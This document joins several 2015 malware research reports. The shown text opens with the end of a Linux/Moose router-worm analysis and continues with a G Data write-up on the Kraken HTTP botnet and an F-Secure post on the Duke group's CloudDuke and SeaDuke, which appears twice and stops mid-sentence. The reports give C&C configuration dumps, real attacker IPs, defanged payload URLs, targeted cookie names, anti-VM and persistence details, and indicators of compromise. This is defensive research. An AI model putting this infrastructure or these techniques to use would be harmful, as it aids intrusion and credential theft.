the configuration C&C server $ ./parse_cnc_config.py 4h cfgcnc-response.raw {'cnccfg_ext_ip': '', 'cnccfg_flag_hijackdns': False, 'cnccfg_flag_killprocess': True, 'cnccfg_flag_nattraversal': True, 'cnccfg_flag_noextscan': False, 'cnccfg_flag_nolocalscan': False, 'cnccfg_flag_recontactcnc': True, 'cnccfg_flag_scanner_sniffer': True, 'cnccfg_flag_share_peers': False, 'cnccfg_flag_test10073': True, 'cnccfg_flag_thd_sniffer': True, 'cnccfg_hijackdns1_ip': 0, 'cnccfg_hijackdns2_ip': 0, 'cnccfg_nb_thdscan_ext': 10, 'cnccfg_nb_thdscan_local': 20, 'cnccfg_proxy_max_clients': 5, 'cnccfg_relaycnc_ip': '93.190.140.221', 'cnccfg_relaycnc_sleep': 10, 'cnccfg_relaycnc_timeout': 600, 'cnccfg_reportcnc_ip': '85.159.237.107', 'snfcfg_00_needle': ' twll=', 'snfcfg_01_needle': ' twid=', 'snfcfg_02_needle': ' LOGIN_INFO=', 'snfcfg_03_needle': ' c_user=', 'snfcfg_04_needle': ' ds_user_id=', 'snfcfg_05_needle': ' SAPISID=', 'snfcfg_06_needle': ' APISID=', 'snfcfg_07_needle': ' PLAY_ACTIVE_ACCOUNT=', 'snfcfg_nb_items': 8, 'userpass_list_len': 4475, ..., 'whitelist_len': 57, 'whlst_00_can_email': False, 'whlst_00_ip': '77.247.177.31', 'whlst_01_can_email': True, 'whlst_01_ip': '85.159.237.107', 'whlst_02_can_email': False, 'whlst_02_ip': '85.159.237.108', 'whlst_03_can_email': True, 'whlst_03_ip': '192.168.1.3', ..., 'whlst_56_can_email': False, 'whlst_56_ip': '103.238.216.218'} Dissecting Linux/Moose 5.7. Evolution of the Species Malware changelog Version 20 First version we encountered ARM variant Version 28 to 29 Rotation of 3 different configuration C&C server IP addresses instead of one hardcoded Improved Telnet connection handling Improved Telnet prompt detection Version 29 to 31 Better handling of low memory situations New configuration C&C server request flag: 0x80: TIME_PROBLEM Dissecting Linux/Moose 6. CONCLUSION Linux/Moose is a novelty when you consider that most embedded threats these days are used to perform DDoS attacks. Considering the rudimentary techniques used by Moose in order to gain access to other devices, it is unfortunate that the security of embedded devices isn t taken more seriously by vendors. With the increasing connectivity and proliferation of Linux-based devices, something will need to be done in that area. We hope that this publication will help vendors better understand how the malicious actors are targeting their devices. As knowledgeable IT people, most of us already check if patches are installed or if anti-virus software is updated and operating when we visit friends and relatives. With all the embedded threats out there, we will need to add a quick check of their router to that to-do list. Consider contributing to our potentially targeted vendor list if you find anything. Unfortunately, this type of animal is far from extinct. Dissecting Linux/Moose APPENDIX A: MALWARE SAMPLES Here are the SHA1 hashes, architecture and malware version of the files we ve encountered: Table 17. Malware Samples File Hash Architecture/ABI Version 10e2f7dd4b2bb4ac9ab2b0d136f48e5dc9acc451 ARM GNU EABI 095ee85aa648de4e557fc243de17d4f00ab2091f ARM GNU EABI bfc2a99450977dc7ba2ec0879fb17c612e248ece MIPS MIPS32 54041ce90b04698465b866ed169ddf4a269e1e76 MIPS MIPS32 LSB d648c405507ad62ddb3faa1dd37f659f3676cacf ARM EABI5 85c3439b6773241d11cda78f0ecfea4c07e55fd2 ARM EABI5 216014dba6f1a636c44530fbce06c598d3cf7fa1 ARM EABI5 4bffc0ebfe8c373f387eb01a7c5e2835ec8e8757 MIPS MIPS32 dd7e8211336aa02851f6c67690e2301b9c84bb26 MIPS MIPS32 Dissecting Linux/Moose APPENDIX B: INDICATORS OF COMPROMISE (IOCS) Network-based Indicators Traffic patterns Traffic from infected device to these IP:ports combinations using TCP 77.247.177.36:81 93.190.140.221:80 85.159.237.107:81 85.159.237.108:81 77.247.177.87:81 Traffic from these IP addresses (the whitelist) going to infected device on TCP port 10073 103.238.216.24 103.238.216.25 103.238.216.26 103.238.216.28 103.238.216.29 103.238.216.30 103.238.216.31 109.201.148.136 109.201.148.201 109.201.148.241 109.236.86.18 109.236.89.208 192.126.184.234 207.244.67.193 217.23.12.124 217.23.2.249 217.23.2.251 217.23.2.252 217.23.2.253 217.23.2.30 217.23.2.47 217.23.2.48 217.23.2.49 217.23.2.52 217.23.2.79 217.23.7.133 217.23.7.211 27.124.41.11 27.124.41.31 27.124.41.31 27.124.41.33 27.124.41.33 27.124.41.52 27.124.41.52 42.119.173.138 77.247.177.31 77.247.177.36 77.247.178.177 79.176.26.142 82.146.63.15 85.159.237.107 85.159.237.108 85.159.237.111 85.159.237.111 93.190.139.123 93.190.139.147 93.190.140.221 93.190.142.113 93.190.143.60 103.238.216.21 103.238.216.216 103.238.216.217 103.238.216.218 103.238.216.22 103.238.216.23 Host-based Indicators The presence of a binary named elan2 Process elan2 running A process listening on 0.0.0.0:10073 Dissecting Linux/Moose This last indicator can be verified using netstat -anp. Depending on system configuration the -p flag might not be available. If it s not, then you can look for lsof or try manually correlating the content of /proc/net/tcp/ with /proc//fd as explained here. Detection (yara) In order to identify if a file or a set of files is the Linux/Moose threat you can use the popular yara tool. Using the linux-moose.yar Yara rule available from our github repository you can recursively crawl a directory for Linux/Moose with: yara -r linux-moose.yar directory/ If the command yields no output then no files were identified to be Linux/Moose. Otherwise identified filenames are printed. Further modifications made by the malware author to evade detection will impact the usefulness of this Yara rule over time. Dissecting Linux/Moose APPENDIX C: CLEANING Reboot the affected device then change its password as soon as possible. Keep in mind, however, that the compromised system was accessible via credentials that the operators knew, that they were aware of its IP address and they had means to access its interactive console. They might have had manual access, which means that further infection is possible, including permanent firmware modifications (the link is in German). A factory reset, firmware update or reinstall and password change is probably best. Dissecting Linux/Moose APPENDIX D: PREVENTION Change default passwords on network equipment even if it is not reachable from the Internet. Disable Telnet login and use SSH where possible. Make sure that your router is not accessible from the Internet on ports 22 (SSH), 23 (Telnet), 80 (HTTP) and 443 (HTTPS). If you are unsure about how to perform this test, when you are at home, use the "common ports" scan from the ShieldsUP service from GRC.com. Make sure that the above mentioned ports receive a Stealth or Closed status. Running the latest firmware available from your embedded device vendor is also recommended. Dissecting Linux/Moose APPENDIX E: POTENTIALLY TARGETED VENDORS Note To obtain the latest version of this list check our malware-research github page We have cross-referenced the list of usernames and passwords that Moose uses in order to spread with a list of vendors known to have these as default credentials and confirmed that some of their products have Telnet access enabled. Here is the list of potentially targeted vendors we ve come up using this methodology: Network equipment vendors 3Com, Alcatel-Lucent, Allied Telesis, Avaya, Belkin, Brocade, Buffalo, Celerity, Cisco, D-link, Enterasys, Hewlett-Packard, Huawei, Linksys, Mikrotik, Netgear, Meridian, Nortel, SpeedStream, Thomson, TP-Link, Zhone, ZyXEL Appliances vendors APC, Brother, Konica/Minolta, Kyocera, Microplex, Ricoh, Toshiba, Xerox Internet of Things vendors Hik Vision, Leviton Keep in mind that this is a list of potentially targeted vendors. Current Moose versions need some Unix-type shell access in order to infect a machine where it successfully logged in. On some devices this type of access is hidden behind another set of credentials or tech-support secret passwords. Moose doesn t target these environments. Since we don t have access to the hardware for testing we couldn t validate this aspect in the above lists. If you have access to any of this hardware please let us know: Is Telnet enabled by default? Can you login with the default credentials via Telnet? What make and model do you have? What happens if you type in sh and then Enter on the default prompt? If the credentials can be used via Telnet to login, if Telnet is enabled by default and if a shell access can be obtained by typing sh in the device s prompt, then these are very good indicators that a device could be infected by Linux/Moose. The last list below contains vendors that were correlated using the default credentials list as previously mentioned but that we were not able to gather information about if they had Telnet access enabled or not. Ericsson, F5 Networks, Fortinet, Siemens, LSI Corporation, Maxim Integrated, Accelerated Network, Quantum, Advantek, Airtel, AirTies, Radware, Ubee Interactive, AOC, Applied Innovations, Arescom, ARtem, Asante, Ascend, ATL, Atlantis, AVM, Avocent, Axis, Aztech, Bay Networks, Bintec, BMC, Broadlogic, Canyon, Cellit, Ciphertrust, CNet, Compaq, Comtrend, Conceptronic, Conexant, Corecess, CTC Union, Cyclades, Davox, Demarc, Digicom, Draytek, Dynalink, E-Con, Efficient, Everfocus, Flowpoint, Gericom, IBM, iDirect, Inchon, Infacta, Infoblox, INOVA, Interbase, Intermec, Intracom, JD Edwards, Kasda, KTI, Lantronix, Laxo, LG, Livingston, Marconi, McAfee, McData, Mentec, Micronet, Milan, Motorola, Mro software, Netopia, Netport, Netscreen, Netstar, Niksun, Nokia, NOMADIX, Olitec(trendchip), OpenConnect, Osicom, Overland, Ovislink, Pansonic, Phoenix, Pirelli, Planet, Ptcl, QLogic, Quintum Technologies, RM, RoamAbout, Sagem, Samsung, Server TechnologyPower, Sharp, Signamax, Siips, Silex Technology, Simple Smdr, Sitecom, Smartswitch, SMC, Sonic-X, Spectra Logic, SpeedXess, Sphairon, SSA, Stratacom, Swissvoice, Symbol, System/32, Tandem, Telewell, Telindus, Tellabs, Topsec, Troy, TVT System, U.S. Robotics, Unisys, VASCO, VxWorks, Wang, Weidm eller, Westell, X-Micro, xd, Xylan, Xyplex, Zebra, ZTE If you know that a particular vendor make and model that could be affected please contact us and contact them. 2015-05-08, 8:46 AM G Data International G Data Germany RSS Feed back Search 07.05.2015, Recent entries: 10.04.2015: Staying alert when buying banners: Google's advertising service misused for distributing malware 31.03.2015: IoT: The Internet of Things... ehm... Trouble?! 16.03.2015: The Andromeda/Gamarue botnet is on the rise again 06.03.2015: Casper: the newest member of the cartoon malware family 22.02.2015: The power of trust: Superfish case turns into a worst case scenario Author: Paul Rascagn Dissecting the Kraken Analysis of the Kraken malware that was used for a targeted attack in In January 2015, unidentified attackers attempted to infiltrate a multi-national enterprise based in the United Arab Emirates, using a spear phishing attack with a crafted MS Word document attached to the message. Once it has reached its target, the payload used was designed to work as an information stealer and reconnaissance tool. G DATA s security experts identified the malware behind this attack and reveal information about the actual power of the malware s tentacles. Category Adware Bots & Botnets CyberCrime eCrime economy Legal issues Exploits Funny findings Web threats Scareware Phishing Security products Vulnerabilities Social engineering Mails Mobile Mobile Social Network Tags 1337 crew In this article, the G DATA SecurityLabs will have a look at the following topics: an example of the spear phishing campaign, sent only a few days after the malware has been advertised the marketing approach to sell the malware the analysis of some of Kraken s features theories about why Kraken has been used as malware in a targeted attack Infection Vector The attacker(s) sent a specially crafted email to at least one employee of the attacked enterprise. The email s body reveals a business-related topic: an offer to become member of this year s International Trade Council. Nevertheless, the offer is directed at the Philippine National Bank, not the enterprise actually receiving the email. This could be a trick to make the recipient even more curious to look at the attached document, because he/she received documents not issued for him/her. The G DATA experts alerted the aeCERT about the incident and their analysis results. analysis apple adware amtso android market authentication autorun av products award banking badusb blog bot botnet bredolab browser brwoser bug carbon caro casino cebit cellphone chat cloud cms conference cobra coding cyber espionage malware credit card cyber espionage; cyper espionage. targattacks dll domain exploits eicar fake positive fifa fraud exploit email facebook eyjafjallajoekull fake alert fake av false firefox fix flame flash hack infection play likejacking lottery https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html aldi android gaming google heartbleed google iframe injection iot java khobe link links lizamoon lnk mail mails Page 1 of 7 2015-05-08, 8:46 AM malware matousec windows malware windows microsoft microsoft mobile network news osama bin laden password pharmacy phishing picture pinterest playstation poker pos privacy pup ransom rat removal instructions riskware rsa scan scareware shopping short url snowden socail engineering soccer engineering spam social social network spyeye spain stuxnet targattacks testing tool trojan uefa euro 2012 underground update url uroburos usb virus uefa bulletin vulnerabilities windows youtube warning windows 8 wordpress zero day zeus zynga wifi worm In this case, the attachment is a Microsoft Word document which tries to exploit the vulnerability described in CVE-2012-0158 in order to drop and execute malware dubbed Kraken HTTP The G DATA security solutions detect the malicious document (08E834B6D4123F0AEA27D042FCEAF992) as Exploit.CVE-2012-0158.AH and G DATA proactive Exploit Protection technology also prevents the attack before the PC can be infected. The Malware, advertised on the Underground Market Kraken HTTP is sold on at least one underground market as a commercial product. Someone, who claims not to be the author of the malware, promoted the malware with a kind of banner which has quite a visual impact. Have a look at the that was published back in December 2014. The banner describes the botnet: its technical features the available commands (classic ones, such as visiting a website using the infected bot, download and execute a command or a library, update and uninstall) the plugins one can use: file stealer, ad-clicker, form grabber, The command visiting a website using the infected bot could be used by the attackers as an entry point for blackmailing the infected user. The attackers could visit websites that are regarded as illegal in the respective country and could then ask for ransom and threaten to release information about the alleged violation to any seemingly official entity who would then investigate against the victim. The flyer also reveals the price of the malware: The basic binary costs $320 and each plugin must be paid for separately, for example $50 for the file stealer, $60 for the ad-clicker and up to $350 for a configurable form grabber. Accepted payment methods are the usual virtual currencies and pre-paid options. https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html Page 2 of 7 2015-05-08, 8:46 AM A price list found on a different website, also posted in December 2014, lists the binary price as $270 and some additional modules, such as a Edit Hosts module ($15), a Botkill module ($30) and a Bitcoin monitor module ($20). Furthermore, Kraken HTTP is advertised as a new, revolutionary botnet [ ] and very noob-friendly . Noob is a word describing that someone is new to a game, concept, or idea; implying a lack of experience. But now let s have a look at what the botnet really is. Marketing vs. Reality After having a glimpse at the ad designed to promote the malware, we analyzed a sample of it: 3917107778F928A6F65DB34553D5082A, which is detected as Gen:Variant.Zusy.118945. We decided to analyze some features mentioned in the flyer and on the other website to evaluate their power and implementation. Feature: Bypass UAC As expected, the malware does not really bypass the UAC. It rather uses a classic trick already used by several malware instances. It uses a legitimate Microsoft binary in order to execute itself with administrator permissions. We already presented this technique in our G DATA SecurityBlog article about the Beta Bot. Feature: Anti-VM The flyer explains that the botnet won t work in a virtual machine. To detect whether the malware is running in a virtual machine, the malware author checks if the following directories and the one file exist: C:\Program Files\VMWare\VMware Tools\ C:\Program Files (x86)\VMware\WMware Tools\ C:\WINDOWS\system32\VBoxtray.exe Furthermore, the malware checks if following applications analysts usually use are being executed: Wireshark: a network analyzer Fiddler: a web proxy used to debug HTTP flow. We can see the tools detection: https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html Page 3 of 7 2015-05-08, 8:46 AM If one of the elements mentioned above is detected, the malware will display a rather poetic dialog popup: So, the anti-VM is really rudimentary. If the additional tools are not installed on the virtual machine the malware can be perfectly executed. Feature: Folder, Bot file & All file dropped are hidden The folders & bot files simply have the hidden attribute set in Microsoft Windows. If you configure you system to show hidden files and directories, you can perfectly see them: https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html Page 4 of 7 2015-05-08, 8:46 AM So, the botnet does not use advanced techniques to hide itself. Feature: Process & registry persistence The malware persistence uses a registry key in order to be executed automatically in case the system is rebooted. The key is HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows: The malware repeatedly checks whether this entry is removed. In case the entry is removed, the malware will create a new one. However, instead of removing it, we can simple rename the path to the executable in order to switch off the persistence mechanism. So, the malware does not have any clever persistence features either. Feature: Path & variable encrypted We identified two kinds of encrypted data: Some paths are encoded using base64 algorithm, such as: JVdJTkRJUiUA (%WINDIR%) and JWFwcGRhdGElaa== (%appdata%) Some data is encrypted (RC4), such as the C&C information: Feature: Bitcoin monitor plugin The Bitcoin monitor plugin is even more amusing. It is not advertised on the flyer but on the other website we found. The malware monitors the infected user s clipboard. If the user copies a Bitcoin address to the clipboard, it will be replaced by an address pre-configured by the botmaster. A Bitcoin address is an identifier of 26-35 alphanumeric characters which represent the owner of a Bitcoin wallet, for example something like https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html Page 5 of 7 2015-05-08, 8:46 AM 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy. We can easily imagine that the plugin test is prone to produce false positives, because any alphanumeric text copied by the user will be automatically changed without reason if it has a length between 26 and 35 characters. Ok, we admit that the German word Kraftfahrzeughaftpflichtversicherung (36) would not be harmed when copied, but what about Bundesausbildungsfoerderungsgesetz (34) or radioimmunoelectrophoresis (27)? Just kidding. But any string, from strong passwords to bank account numbers and more could be affected. Feature: Download & Execute , the next Step This feature allows installing further malware on the affected PC in case the attackers decide the current machine is interesting enough. Kraken HTTP is only the first stage in this attack and can be seen as reconnaissance tool. Administration Panel The experts of the G DATA SecurityLabs had access to the panel used by Kraken HTTP but the source code is protected by a commercial packer called IonCube loader. Nevertheless, we can reveal some screenshots of the administration panel which are available on the underground. Note that some of the texts contain mistakes: https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html Page 6 of 7 2015-05-08, 8:46 AM Conclusion We suppose that the Kraken botnet was developed by a beginner. The malware does not include advanced malware technologies and no groundbreaking innovations, even though those were advertised. Many sensitive strings are not encrypted, such as installation paths, anti-virus listings, insults against the analysts and much more. To sell the botnet malware, the author used a quite sexy marketing flyer, but, actually, the malware turned out to be rather simple. Kraken HTTP was said to be used during an espionage campaign against the energy sector, especially against targets in the UAE. We have now identified a specific target from this geographical region and have obtained one of the spear phishing emails used. Even though the targets that are known by now are rather high-level targets, the malware code as well as its features is not advanced. We are surprised to see this piece of code has been used carrying out targeted attacks rather than broader criminal activities. It is not surprising that attackers use vulnerabilities that are older, because, unfortunately, many computers are likely to be still out of date and so the attack works. Despite the fact that the vulnerability used is not a new one, the malware does not have the common features that we saw during other targeted attack campaigns. Compared to incidents like Uroburos, the Kraken malware is not good enough to catch the big fish if we want to stick with to the metaphor. So, from the current point of view, there are three theories: The attackers who developed the Kraken malware might have chosen to diversify their business and chose to attack special interest targets themselves. The attackers identified infected machines in the business sector and followed the tracks to see what else they might be able to get from the companies. The actual espionage team voluntary chose to use a kind of usual and rather simply botnet malware in order to distract analysts from seeing a deeper meaning behind this attack and make them disregard it as daily cybercrime business Attached Files: kraken_illu_4c.jpg1.9 M kraken_illu_rgb.jpg411 K kraken_illu_web.jpg153 K back 2007 - 2015 G Data Software AG. All rights reserved https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html Contact | Imprint Page 7 of 7 Duke APT group's latest tools: cloud services and Linux support - FSecure Weblog : News from the Lab Recent weeks have seen the outing of two new additions to the Duke group's toolset, SeaDuke and CloudDuke. Of these, SeaDuke is a simple trojan made interesting by the fact that it's written in Python. And even more curiously, SeaDuke, with its built-in support for both Windows and Linux, is the first cross-platform malware we have observed from the Duke group. While SeaDuke is a single - albeit crossplatform - trojan, CloudDuke appears to be an entire toolset of malware components, or "solutions" as the Duke group apparently calls them. These components include a unique loader, downloader, and not one but two different trojan components. CloudDuke also greatly expands on the Duke group's usage of cloud storage services, specifically Microsoft's OneDrive, as a channel for both command and control as well as the exfiltration of stolen data. Finally, some of the recent CloudDuke spear-phishing campaigns have born a striking resemblance to CozyDuke spear-phishing campaigns from a year ago. Linux support added with the cross-platform SeaDuke malware Last week, both Symantec and Palo Alto Networks published research on SeaDuke, a newer addition to the arsenal of trojans being used by the Duke group. While older malware by the Duke group has always been written with a combination of the C and C++ programming languages as well as assembly language, SeaDuke is peculiarly written in Python with multiple layers of obfuscation. This Python code is usually then compiled into Windows executables using py2exe or pyinstaller. However, the Python code itself has been designed to work on both Windows and Linux. We therefore suspect, that the Duke group is also using the same SeaDuke Python code to target Linux victims. This is the first time we have seen the Duke group employ malware to target Linux platforms. An example of the cross-platform support found in SeaDuke. A new set of solutions with the CloudDuke malware toolset Last week, we also saw Palo Alto Networks and Kaspersky Labs publish research on malware components they respectively called MiniDionis and CloudLook. MiniDionis and CloudLook are both components of a larger malware toolset we call CloudDuke. This toolset consists of malware components that provide varying functionality while partially relying on a shared code framework and always using the same loader. Based on PDB strings found in the samples, the malware authors refer to the CloudDuke components as "solutions" with names such as "DropperSolution", "BastionSolution" and "OneDriveSolution". A list of PDB strings we have observed is below: C:\DropperSolution\Droppers\Projects\Drop_v2\Release\Drop_v2.pdb c:\BastionSolution\Shells\Projects\miniDionis4\miniDionis\obj\Release\miniDionis.pdb c:\BastionSolution\Shells\Projects\miniDionis2\miniDionis\obj\Release\miniDionis.pdb c:\OneDriveSolution\Shells\Projects\OneDrive2\OneDrive\obj\x64\Release\OneDrive.pdb The first of the CloudDuke components we have observed is a downloader internally called "DropperSolution". The purpose of the downloader is to download and execute additional malware on the victim's system. In most observed cases, the downloader will attempt to connect to a compromised website to download an encrypted malicious payload which the downloader will decrypt and execute. Depending on the way the downloader has been configured, in some cases it may first attempt to log in to Microsoft's cloud storage service OneDrive and retrieve the payload from there. If no payload is available from OneDrive, the downloader will revert to the previously mentioned method of downloading from compromised websites. We have also observed two distinct trojan components in the CloudDuke toolset. The first of these, internally called "BastionSolution", is the trojan that Palo Alto Networks described in their research into "MiniDionis". Interestingly, BastionSolution appears to functionally be an exact copy of SeaDuke with the only real difference being the choice of programming language. BastionSolution also makes significant use of a code framework that is apparently internally called "Z". This framework provides classes for functionality such as encryption, compression, randomization and network communications. A list of classes in the BastionSolution trojan, including multiple classes from the "Z" framework. Classes from the same "Z" framework, such as the encryption and randomization classes, are also used by the second trojan component of the CloudDuke toolset. This second component, internally called "OneDriveSolution", is especially interesting because it relies on Microsoft's cloud storage service OneDrive as its command and control channel. To achieve this, OneDriveSolution will attempt to log into OneDrive with a preconfigured username and password. If successful, OneDriveSolution will then proceed to copy data from the victim's computer to the OneDrive account. It will also search the OneDrive account for files containing commands for the malware to execute. A list of classes in the OneDriveSolution trojan, including multiple classes from the "Z" framework. All of the CloudDuke "solutions" use the same loader, a piece of code whose primary purpose is to decrypt the embedded, encrypted solution, load it in memory and execute it. The Duke group has often employed loaders for their malware but unlike the previous loaders they have used, the CloudDuke loader is much more versatile with support for multiple methods of loading and executing the final payload as well as the ability to write to disk and execute additional malware components. CloudDuke spear-phishing campaigns and similarities with CozyDuke CloudDuke has recently been spread via spear-phishing emails with targets reportedly including organizations such as the US Department of Defense. These spear-phising emails have contained links to compromised websites hosting zip archives that contain CloudDuke-laden executables. In most cases, executing these executables will have resulted in two additional files being written to the victim's hard disk. The first of these files has been a decoy, such as an audio file or a PDF file while the second one has been a CloudDuke loader embedding a CloudDuke downloader, the so-called "DropperSolution". In these cases, the victim has been presented with the decoy file while in the background the downloader has proceeded to download and execute one of the CloudDuke trojans, "OneDriveSolution" or "BastionSolution". Example of one of the decoy documents employed in the CloudDuke spear-phishing campaigns. It has apparently been copied by the attackers from here. Interestingly, however, some of the other CloudDuke spear-phishing campaigns we have observed this July have born a striking resemblance to CozyDuke spear-phishing campaigns seen almost exactly a year ago, in the beginning of July 2014. In both spear-phishing campaigns, the decoy document has been the exact same PDF file, a "US letter fax test page" (28d29c702fdf3c16f27b33f3e32687dd82185e8b). Similarly, the URLs hosting the malicious files have, in both campaigns, purported to be related to eFaxes. It is also interesting to note, that in the case of the CozyDuke-inspired CloudDuke spear-phishing campaign, the downloading and execution of the malicious archive linked to in the emails has not resulted in the execution of the CloudDuke downloader but in the execution of the "BastionSolution" component thereby skipping one step from the process described for the other CloudDuke spear-phishing campaigns. The "US letter fax test page" decoy employed in both CloudDuke and CozyDuke spear-phishing campaigns. Increasingly using cloud services to evade detection CloudDuke is not the first time we have observed the Duke group use cloud services in general and Microsoft OneDrive specifically as part of their operations. Earlier this spring we released research on CozyDuke where we mentioned observing CozyDuke sometimes either directly use a OneDrive account to exfiltrate stolen data or alternatively CozyDuke downloading Visual Basic scripts that would copy stolen files to a OneDrive account and sometimes even retrieve files containing additional commands from the same OneDrive account. In these previous cases the Duke group has only used OneDrive as a secondary communication channel but still relied on more traditional C&C channels for most of their actions. It is therefore interesting to note that CloudDuke actually enables the Duke group to rely solely on OneDrive for every step of their operation from downloading the actual trojan, passing commands to the trojan and finally exfiltrating stolen data. By relying solely on 3rd party web services, such as OneDrive, as their command and control channel, we believe the Duke group is trying to better evade detection. Large amounts of data being transferred from an organization's network to an unknown web server easily raises suspicions. However, data being transferred to a popular cloud storage service is normal. What better way for an attacker to surreptitiously transfer large amounts of stolen data than the same way people are transferring that same data every day for legitimate reasons. (Coincidentally, the implications of 3rd party web services being used as command and control channels is also the subject of an upcoming talk at the VirusBulletin 2015 conference). Directing limited resources towards evading detection and staying ahead of defenders Developing even a single multipurpose malware toolset, never mind many, requires time and resources. Therefore it seems logical to attempt to reuse code such as supporting frameworks between different toolsets. The Duke group, however, appear to have taken this a step further with SeaDuke and the CloudDuke component BastionSolution, by rewriting the same code in multiple programming languages. This has the obvious benefits of saving time and resources by providing two malware toolsets, that while similar on the inside, appear completely different on the outside. This way, the discovery of one toolset does not immediately lead to the discovery of the second toolset. The Duke group, long suspected of ties to the Russian state, have been running their espionage operation for an unusually long time and - especially lately - with unusual brazenness. These latest CloudDuke and SeaDuke campaigns appear to be a clear sign that the Duke's are not planning to stop any time soon. Research and post by Artturi (@lehtior2) F-Secure detects CloudDuke as Trojan:W32/CloudDuke.B and Trojan:W64/CloudDuke.B Samples: 04299c0b549d4a46154e0a754dda2bc9e43dff76 2f53bfcd2016d506674d0a05852318f9e8188ee1 317bde14307d8777d613280546f47dd0ce54f95b 476099ea132bf16fa96a5f618cb44f87446e3b02 4800d67ea326e6d037198abd3d95f4ed59449313 52d44e936388b77a0afdb21b099cf83ed6cbaa6f 6a3c2ad9919ad09ef6cdffc80940286814a0aa2c 78fbdfa6ba2b1e3c8537be48d9efc0c47f417f3c 9f5b46ee0591d3f942ccaa9c950a8bff94aa7a0f bfe26837da22f21451f0416aa9d241f98ff1c0f8 c16529dbc2987be3ac628b9b413106e5749999ed cc15924d37e36060faa405e5fa8f6ca15a3cace2 dea6e89e36cf5a4a216e324983cc0b8f6c58eaa8 e33e6346da14931735e73f544949a57377c6b4a0 ed0cf362c0a9de96ce49c841aa55997b4777b326 f54f4e46f5f933a96650ca5123a4c41e115a9f61 f97c5e8d018207b1d546501fe2036adfbf774cfd Compromised servers used for command and control: hxxps://cognimuse.cs.ntua.gr/search.php hxxps://portal.sbn.co.th/rss.php hxxps://97.75.120.45/news/archive.php hxxps://portal.sbn.co.th/rss.php hxxps://58.80.109.59/plugins/search.php Compromised websites used to host CloudDuke: hxxp://flockfilmseries.com/eFax/incoming/5442.ZIP hxxp://www.recordsmanagementservices.com/eFax/incoming/150721/5442.ZIP hxxp://files.counseling.org/eFax/incoming/150721/5442.ZIP Page 1 Duke APT group's latest tools: cloud services and Linux support - FSecure Weblog : News from the Lab Recent weeks have seen the outing of two new additions to the Duke group's toolset, SeaDuke and CloudDuke. Of these, SeaDuke is a simple trojan made interesting by the fact that it's written in Python. And even more curiously, SeaDuke, with its built-in support for both Windows and Linux, is the first cross-platform malware we have observed from the Duke group. While SeaDuke is a single - albeit crossplatform - trojan, CloudDuke appears to be an entire toolset of malware components, or "solutions" as the Duke group apparently calls them. These components include a unique loader, downloader, and not one but two different trojan components. CloudDuke also greatly expands on the Duke group's usage of cloud storage services, specifically Microsoft's OneDrive, as a channel for both command and control as well as the exfiltration of stolen data. Finally, some of the recent CloudDuke spear-phishing campaigns have born a striking resemblance to CozyDuke spear-phishing campaigns from a year ago. Linux support added with the cross-platform SeaDuke malware Last week, both Symantec and Palo Alto Networks published research on SeaDuke, a newer addition to the arsenal of trojans being used by the Duke group. While older malware by the Duke group has always been written with a combination of the C and C++ programming languages as well as assembly language, SeaDuke is peculiarly written in Python with multiple layers of obfuscation. This Python code is usually then compiled into Windows executables using py2exe or pyinstaller. However, the Python code itself has been designed to work on both Windows and Linux. We therefore suspect, that the Duke group is also using the same SeaDuke Python code to target Linux victims. This is the first time we have seen the Duke group employ malware to target Linux platforms. An example of the cross-platform support found in SeaDuke. A new set of solutions with the CloudDuke malware toolset Last week, we also saw Palo Alto Networks and Kaspersky Labs publish research on malware components they respectively called MiniDionis and CloudLook. MiniDionis and CloudLook are both components of a larger malware toolset we call CloudDuke. This toolset consists of malware components that provide varying functionality while partially relying on a shared code framework and always using the same loader. Based on PDB strings found in the samples, the malware authors refer to the CloudDuke components as "solutions" with names such as "DropperSolution", "BastionSolution" and "OneDriveSolution". A list of PDB strings we have observed is below: C:\DropperSolution\Droppers\Projects\Drop_v2\Release\Drop_v2.pdb c:\BastionSolution\Shells\Projects\miniDionis4\miniDionis\obj\Release\miniDionis.pdb c:\BastionSolution\Shells\Projects\miniDionis2\miniDionis\obj\Release\miniDionis.pdb c:\OneDriveSolution\Shells\Projects\OneDrive2\OneDrive\obj\x64\Release\OneDrive.pdb The first of the CloudDuke components we have observed is a downloader internally called "DropperSolution". The purpose of the downloader is to download and execute additional malware on the victim's system. In most observed cases, the downloader will attempt to connect to a compromised website to download an encrypted malicious payload which the downloader will decrypt and execute. Depending on the way the downloader has been configured, in some cases it may first attempt to log in to Microsoft's cloud storage service OneDrive and retrieve the payload from there. If no payload is available from OneDrive, the downloader will revert to the previously mentioned method of downloading from compromised websites. We have also observed two distinct trojan components in the CloudDuke toolset. The first of these, internally called "BastionSolution", is the trojan that Palo Alto Networks described in their research into "MiniDionis". Interestingly, BastionSolution appears to functionally be an exact copy of SeaDuke with the only real difference being the choice of programming language. BastionSolution also makes significant use of a code framework that is apparently internally called "Z". This framework provides classes for functionality such as encryption, compression, randomization and network communications. A list of classes in the BastionSolution trojan, including multiple classes from the "Z" framework. Classes from the same "Z" framework, such as the encryption and randomization classes, are also used by the second trojan component of the CloudDuke toolset. This second component, internally called "OneDriveSolution", is especially interesting because it relies on Microsoft's cloud storage service OneDrive as its command and control channel. To achieve this, OneDriveSolution will attempt to log into OneDrive with a preconfigured username and password. If successful, OneDriveSolution will then proceed to copy data from the victim's computer to the OneDrive account. It will also search the OneDrive account for files containing commands for the malware to execute. A list of classes in the OneDriveSolution trojan, including multiple classes from the "Z" framework. All of the CloudDuke "solutions" use the same loader, a piece of code whose primary purpose is to decrypt the embedded, encrypted solution, load it in memory and execute it. The Duke group has often employed loaders for their malware but unlike the previous loaders they have used, the CloudDuke loader is much more versatile with support for multiple methods of loading and executing the final payload as well as the ability to write to disk and execute additional malware components. CloudDuke spear-phishing campaigns and similarities with CozyDuke CloudDuke has recently been spread via spear-phishing emails with targets reportedly including organizations such as the US Department of Defense. These spear-phising emails have contained links to compromised websites hosting zip archives that contain CloudDuke-laden executables. In most cases, executing these executables will have resulted in two additional files being written to the victim's hard disk. The first of these files has been a decoy, such as an audio file or a PDF file while the second one has been a CloudDuke loader embedding a CloudDuke downloader, the so-called 